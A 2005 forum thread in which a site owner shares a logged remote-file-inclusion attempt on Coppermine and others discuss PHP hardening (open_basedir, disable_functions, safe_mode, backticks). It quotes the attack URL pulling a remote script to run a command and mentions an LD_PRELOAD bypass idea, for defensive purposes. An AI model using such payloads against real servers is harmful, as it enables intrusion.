PHP Scriptonite - attacking/securing PHP

Well, it's been a good while since I've discussed PHP security, and since I just beat a fairly interesting PHP attack, I thought I'd take a moment to tell you about the attempted compromise, and what you can do to secure your PHP installation.

Being one of those old schoolers that thinks it's important to check their logs every single damn day, here's what I found. I have specially formatted errors that I create with a php script:

PHP Code:

---

The following error has been received on Saturday 22nd of January 2005 03:24:45 
Error 404 - Page Not Found
Requested URL:  mydomain.com/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id
Referring URL: 
Visitor's IP Address: 200.151.70.121 (The attacker)
User Agent: 


---

Let's review this attack in greater detail. While I do run php-nuke, there are things that I do to protect my setup. This attack is trying to exploit a flaw in the application coppermine. Coppermine fails to properly validate paths. That being the case, it's possible for an attacker to attempt to supply a path to a php script on a remote server to be included locally on your server.

Taking a look at what the attacker is trying to include:
http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id

Examining the attacker's page. After reading the code, basically the attacker is trying to add a backdoor some c shellcode into the kernel, ouch. The attacker does this by taking advantage of the fact that /tmp is normally writable.

How did I avoid this attack? Well, firstly I'm not running coppermine, but forget that part, it could be any php app that doesn't validate a path, so what exactly could have been done to prevent this?

For one, you should definately enable open_basedir restrictions. What it does is limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink.

Disabling dangerous functions.

PHP Code:

---

 disable_functions = shell_exec,proc_open,system,exec,passthru,phpinfo,show_source 


---

Disabling the above functions is a good start. These functions give the ability to run commands and execute external programs. Very dangerous indeed if the wrong thing gets run. In a production environment, especially a hosting environment, these should all be disabled.

Your probably wondering why phpinfo and show_source should be disabled. Again, if it's a production environment and not a development environment, there is no reason to let potentioal attackers gleam information about your setup with phpinfo. show_source is a very dangerous function if run, as it does exactly what it's named for, showing the source of your php code, that could include hardcoded usernames and passwords (config.php anyone).

Let's go back to the attack and see how well it would have worked, with your php settings hardend. Your right, the attacker's code couldn't do jack. It never would have written anything to /tmp because it's outside the directory that php would have been allowed to even access, let alone write to. Secondly, we've disabled those dangerous functions that as you can see, attackers are willing and ready to use. :D

I hope that this post helps some of you PHP coders out there. This applies to you, even if you just have a hosted account and don't run the box yourself.

In closing, to the lame script kiddies, I'd like to swing my hammer to the teeth of Data Cha0s, you guyz don't own crap, your technique sucks, and didn't involve any skill. Your only attacking what you think are vulnerable people because your weak yourselves. I step on you cockroaches. :mad:


PuRe

Erm, you do realise the script as loaded won't function standalone on any default PHP installation newer than 4.2 (when they disabled register_globals), right?

Even assuming any of the prior run code were to enable register_globals, it would have to rely on a weak PHP, Apache, and then O/S configuration, and an exploitable kernel. If you aren't patching your systems, of course you are going to get broken into...

Quote:

---

Originally posted here by chsh
If you aren't patching your systems, of course you are going to get broken into...

---

We're not talking about system patching, that's a whole new issue altogether. Register globals is also another thread. Basically, my thread is pointing things that you can do to secure your php installation. I didn't get broken into thank god, but I wanted to share the reason why. Weak input validation was the original vulnerability being discussed, not register globals. Thanks for your comment though.


PuRe

Yeah, what Pure's talking about is methods to mitigate the seriousness of any attack on a vulnerable PHP app. Useful for people who host them, and don't want their machines destroyed.

Of course, not hosting a vulnerable app in the first place is preferable.

safe_mode should be your first response, this automatically disables all function which execute user-specified external programs.

If you don't require it, disable allow_fopen_url - that is sometimes used as an attack vector (although not itself a cause of too many problems if properly written).

I'm a bit sceptical about whether safe_mode prevents dynamic linker exploits from functions which execute external programs and are still allowed in safe_mode - e.g. setting $_ENV{'LD_PRELOAD'} to a user-supplied .so file then calling mail()

But it's better than nothing

Slarty

I have a question. Sure you can disable functions in the php.ini such as exec() and system().
But is there anything to disable the `` acting as signals to execute any command within them?

Quote:

---

Originally posted here by h3r3tic
I have a question. Sure you can disable functions in the php.ini such as exec() and system().
But is there anything to disable the `` acting as signals to execute any command within them?

---

Wanna show me an example of what your talking about pls.

To my knowledge which doesn't go that far, the difference between single and double quotes in simple terms is, that both are used to define a string, however, anything within single quotes is a literal value of what is between the quotes, whereas anything within the double quotes could be replaced with the value of another variable.


PuRe

those weren't single quotes they were backticks, ` ' they're different. Sorry guess I should have specified. But you are able to execute commands with the backtick.

PHP Code:

---

<?php
echo "<pre>\n";
echo `ls`;
echo "\n</pre>";
?> 


---

that for example will echo the output of the ls command. I read somewhere just now that a guy thinks that disabling shell_exec() disables the ``'s, but think isn't good enough for me. I have no functions disabled, but I'm just curious.

The exploit attempt was taken from Pure's logs - that fact alone validates the research he put into it (the exploit is in the wild, must be making some hits somewhere). Sure, we all should patch, update and stop using vulnerable code. We all should, hardly anyone is actually doing it.

Pure made a nice layout of cause, effect and remedy. Good work - even if the impact or frequency of the exploit isn't sky-high. I'd really like to see more of this.

Quote:

---

Originally posted here by h3r3tic
I read somewhere just now that a guy thinks that disabling shell_exec() disables the ``'s, but think isn't good enough for me. I have no functions disabled, but I'm just curious.

---

That's absolutely correct, per the official php site http://us3.php.net/language.operators.execution

Note: The backtick operator is disabled when safe mode is enabled or shell_exec() is disabled.

So my same advice would still be valid for you h3r3tic , sorry for my delay in response, I didn't see the post until I woke up.

Thnx Guus :D


PuRe

Personally, I don't agree that show_source is a dangerous function.

show_source only shows the source code if it's called. In practice, no application ever calls show_source. So where's the danger?

If someone can read the files directly, or write their own PHP code, they can obtain the source code in other ways anyway, so show_source is irrelevant. In recent versions of PHP, show_source is also affected by safe_mode etc, so it won't reveal anything that a call to readfile() would not.

So show_source is not of any danger at all.

Slarty

Quote:

---

Originally posted here by PuReExcTacy
We're not talking about system patching, that's a whole new issue altogether. Register globals is also another thread. Basically, my thread is pointing things that you can do to secure your php installation. I didn't get broken into thank god, but I wanted to share the reason why. Weak input validation was the original vulnerability being discussed, not register globals. Thanks for your comment though.

---

My point was more that maybe your example could be a real valid dangerous one, not one created ficticiously. If people can learn from it anyway, it's only good.

Quote:

---

Originally posted here by slarty
show_source only shows the source code if it's called. In practice, no application ever calls show_source. So where's the danger?

---

I already explained the danger above. I look at functions and classes like services on the OS. If I know I'm not going to ever be using the service, I disable it. That's the basic principle.

If I would come to need the function, then removing it from the list only takes a second and it helps keep the environment safer. A perfect example of this concept is file system functions. Why would I make them available if I were not going to be using it, again this concept is for a production environment, not dev.


PuRe